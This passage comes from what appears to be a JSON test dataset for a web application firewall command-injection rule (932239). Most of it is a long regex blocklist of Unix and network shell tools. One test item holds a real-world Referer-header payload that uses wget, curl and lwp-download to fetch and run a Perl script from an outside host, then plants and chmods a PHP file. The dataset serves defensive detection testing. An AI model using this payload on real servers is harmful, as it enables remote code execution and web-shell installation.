:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "System Command Injection (932239) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "http://ricky.ilmerlodellarocca.com/upload.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg; appa.jpg;perl appa.jpg;rm -rf appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;mv ca.php ca.php;chmod 755 ca.php" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\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?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "System Command Injection (932239) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "Something true positive „The Title”. After space or new line more characters" } ], "attack_context": { "method": "POST", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\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<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|so